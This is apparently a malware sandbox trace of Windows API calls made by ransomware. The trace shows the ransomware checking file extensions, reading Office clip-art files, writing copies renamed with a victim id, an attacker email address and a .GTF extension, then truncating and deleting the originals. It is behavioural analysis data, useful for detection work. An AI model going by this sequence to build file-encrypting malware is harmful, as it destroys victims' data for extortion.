	[0164.662] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0164.662] lstrlenW (lpString=".xlsx") returned 5
	[0164.662] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0164.662] lstrlenW (lpString=".ppt") returned 4
	[0164.662] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0164.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68
	[0164.662] lstrlenW (lpString=".zip") returned 4
	[0164.662] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0164.662] lstrlenW (lpString=".rar") returned 4
	[0164.662] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0164.662] lstrlenW (lpString=".bz2") returned 4
	[0164.662] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0164.662] lstrlenW (lpString=".7z") returned 3
	[0164.662] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0164.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68
	[0164.662] lstrlenW (lpString=".dbf") returned 4
	[0164.662] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0164.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68
	[0164.662] lstrlenW (lpString=".1cd") returned 4
	[0164.662] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0164.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68
	[0164.662] lstrlenW (lpString=".jpg") returned 4
	[0164.662] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0164.663] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0164.663] lstrlenW (lpString="J0105390.WMF") returned 12
	[0164.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0164.663] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=4944) returned 1
	[0164.663] CloseHandle (hObject=0x554) returned 1
	[0164.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf")) returned 0x220
	[0164.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0164.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0164.664] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.664] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0164.665] GetLastError () returned 0x0
	[0164.665] ReadFile (in: hFile=0x554, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x1350, lpOverlapped=0x0) returned 1
	[0164.666] WriteFile (in: hFile=0x52c, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x1360, lpOverlapped=0x0) returned 1
	[0164.668] ReadFile (in: hFile=0x554, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.668] WriteFile (in: hFile=0x52c, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0164.668] SetEndOfFile (hFile=0x52c) returned 1
	[0164.668] CloseHandle (hObject=0x52c) returned 1
	[0164.668] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.668] SetEndOfFile (hFile=0x554) returned 1
	[0164.670] CloseHandle (hObject=0x554) returned 1
	[0164.670] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0164.671] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf")) returned 1
	[0164.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68
	[0164.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68
	[0164.671] lstrlenW (lpString=".doc") returned 4
	[0164.671] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0164.671] lstrlenW (lpString=".docx") returned 5
	[0164.671] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0164.671] lstrlenW (lpString=".pdf") returned 4
	[0164.671] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0164.671] lstrlenW (lpString=".xls") returned 4
	[0164.671] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0164.672] lstrlenW (lpString=".xlsx") returned 5
	[0164.672] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0164.672] lstrlenW (lpString=".ppt") returned 4
	[0164.672] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0164.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68
	[0164.672] lstrlenW (lpString=".zip") returned 4
	[0164.672] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0164.672] lstrlenW (lpString=".rar") returned 4
	[0164.672] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0164.672] lstrlenW (lpString=".bz2") returned 4
	[0164.672] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0164.672] lstrlenW (lpString=".7z") returned 3
	[0164.672] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0164.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68
	[0164.672] lstrlenW (lpString=".dbf") returned 4
	[0164.672] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0164.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68
	[0164.672] lstrlenW (lpString=".1cd") returned 4
	[0164.672] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0164.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68
	[0164.672] lstrlenW (lpString=".jpg") returned 4
	[0164.672] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0164.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68
	[0164.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68
	[0164.672] lstrlenW (lpString=".doc") returned 4
	[0164.672] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0164.672] lstrlenW (lpString=".docx") returned 5
	[0164.672] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0164.672] lstrlenW (lpString=".pdf") returned 4
	[0164.672] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0164.672] lstrlenW (lpString=".xls") returned 4
	[0164.672] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0164.672] lstrlenW (lpString=".xlsx") returned 5
	[0164.672] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0164.672] lstrlenW (lpString=".ppt") returned 4
	[0164.673] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0164.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68
	[0164.673] lstrlenW (lpString=".zip") returned 4
	[0164.673] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0164.673] lstrlenW (lpString=".rar") returned 4
	[0164.673] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0164.673] lstrlenW (lpString=".bz2") returned 4
	[0164.673] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0164.673] lstrlenW (lpString=".7z") returned 3
	[0164.673] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0164.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68
	[0164.673] lstrlenW (lpString=".dbf") returned 4
	[0164.673] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0164.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68
	[0164.673] lstrlenW (lpString=".1cd") returned 4
	[0164.673] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0164.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68
	[0164.673] lstrlenW (lpString=".jpg") returned 4
	[0164.673] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0164.673] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0164.673] lstrlenW (lpString="J0105396.WMF") returned 12
	[0164.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0164.674] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=11012) returned 1
	[0164.674] CloseHandle (hObject=0x554) returned 1
	[0164.674] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf")) returned 0x220
	[0164.674] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0164.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0164.674] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.674] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0164.775] GetLastError () returned 0x0
	[0164.775] ReadFile (in: hFile=0x554, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x2b04, lpOverlapped=0x0) returned 1
	[0164.777] WriteFile (in: hFile=0x54c, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x2b10, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x2b10, lpOverlapped=0x0) returned 1
	[0164.778] ReadFile (in: hFile=0x554, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.778] WriteFile (in: hFile=0x54c, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0164.778] SetEndOfFile (hFile=0x54c) returned 1
	[0164.778] CloseHandle (hObject=0x54c) returned 1
	[0164.778] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.778] SetEndOfFile (hFile=0x554) returned 1
	[0164.783] CloseHandle (hObject=0x554) returned 1
	[0164.783] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0165.001] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf")) returned 1
	[0165.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68
	[0165.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68
	[0165.151] lstrlenW (lpString=".doc") returned 4
	[0165.151] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0165.151] lstrlenW (lpString=".docx") returned 5
	[0165.151] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0165.151] lstrlenW (lpString=".pdf") returned 4
	[0165.151] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0165.151] lstrlenW (lpString=".xls") returned 4
	[0165.151] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0165.151] lstrlenW (lpString=".xlsx") returned 5
	[0165.152] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0165.152] lstrlenW (lpString=".ppt") returned 4
	[0165.152] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0165.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68
	[0165.152] lstrlenW (lpString=".zip") returned 4
	[0165.152] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0165.152] lstrlenW (lpString=".rar") returned 4
	[0165.152] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0165.152] lstrlenW (lpString=".bz2") returned 4
	[0165.152] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0165.152] lstrlenW (lpString=".7z") returned 3
	[0165.152] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0165.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68
	[0165.152] lstrlenW (lpString=".dbf") returned 4
	[0165.152] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0165.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68
	[0165.152] lstrlenW (lpString=".1cd") returned 4
	[0165.152] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0165.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68
	[0165.152] lstrlenW (lpString=".jpg") returned 4
	[0165.152] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0165.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68
	[0165.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68
	[0165.152] lstrlenW (lpString=".doc") returned 4
	[0165.152] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0165.152] lstrlenW (lpString=".docx") returned 5
	[0165.152] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0165.152] lstrlenW (lpString=".pdf") returned 4
	[0165.152] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0165.152] lstrlenW (lpString=".xls") returned 4
	[0165.152] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0165.152] lstrlenW (lpString=".xlsx") returned 5
	[0165.152] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0165.153] lstrlenW (lpString=".ppt") returned 4
	[0165.153] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0165.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68
	[0165.153] lstrlenW (lpString=".zip") returned 4
	[0165.153] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0165.153] lstrlenW (lpString=".rar") returned 4
	[0165.153] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0165.153] lstrlenW (lpString=".bz2") returned 4
	[0165.153] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0165.153] lstrlenW (lpString=".7z") returned 3
	[0165.153] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0165.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68
	[0165.153] lstrlenW (lpString=".dbf") returned 4
	[0165.153] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0165.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68
	[0165.153] lstrlenW (lpString=".1cd") returned 4
	[0165.153] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0165.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68
	[0165.153] lstrlenW (lpString=".jpg") returned 4
	[0165.153] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0165.153] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0165.153] lstrlenW (lpString="J0105520.WMF") returned 12
	[0165.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0165.878] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=31812) returned 1
	[0165.878] CloseHandle (hObject=0x42c) returned 1
	[0165.879] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf")) returned 0x220
	[0165.879] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0165.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0165.879] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.879] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0165.880] GetLastError () returned 0x0
	[0165.880] ReadFile (in: hFile=0x42c, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x7c44, lpOverlapped=0x0) returned 1
	[0165.884] WriteFile (in: hFile=0x560, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x7c50, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x7c50, lpOverlapped=0x0) returned 1
	[0165.885] ReadFile (in: hFile=0x42c, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0165.885] WriteFile (in: hFile=0x560, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0165.885] SetEndOfFile (hFile=0x560) returned 1
	[0165.886] CloseHandle (hObject=0x560) returned 1
	[0165.887] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.887] SetEndOfFile (hFile=0x42c) returned 1
	[0165.890] CloseHandle (hObject=0x42c) returned 1
	[0165.890] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0165.890] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf")) returned 1
	[0165.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68
	[0165.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68
	[0165.891] lstrlenW (lpString=".doc") returned 4
	[0165.891] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0165.891] lstrlenW (lpString=".docx") returned 5
	[0165.891] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0165.891] lstrlenW (lpString=".pdf") returned 4
	[0165.891] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0165.891] lstrlenW (lpString=".xls") returned 4
	[0165.891] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0165.891] lstrlenW (lpString=".xlsx") returned 5
	[0165.891] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0165.891] lstrlenW (lpString=".ppt") returned 4
	[0165.891] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0165.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68
	[0165.891] lstrlenW (lpString=".zip") returned 4
	[0165.891] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0165.891] lstrlenW (lpString=".rar") returned 4
	[0165.891] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0165.891] lstrlenW (lpString=".bz2") returned 4
	[0165.891] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0165.891] lstrlenW (lpString=".7z") returned 3
	[0165.891] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0165.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68
	[0165.892] lstrlenW (lpString=".dbf") returned 4
	[0165.892] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0165.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68
	[0165.892] lstrlenW (lpString=".1cd") returned 4
	[0165.892] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0165.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68
	[0165.892] lstrlenW (lpString=".jpg") returned 4
	[0165.892] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0165.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68
	[0165.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68
	[0165.892] lstrlenW (lpString=".doc") returned 4
	[0165.892] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0165.892] lstrlenW (lpString=".docx") returned 5
	[0165.892] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0165.892] lstrlenW (lpString=".pdf") returned 4
	[0165.892] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0165.892] lstrlenW (lpString=".xls") returned 4
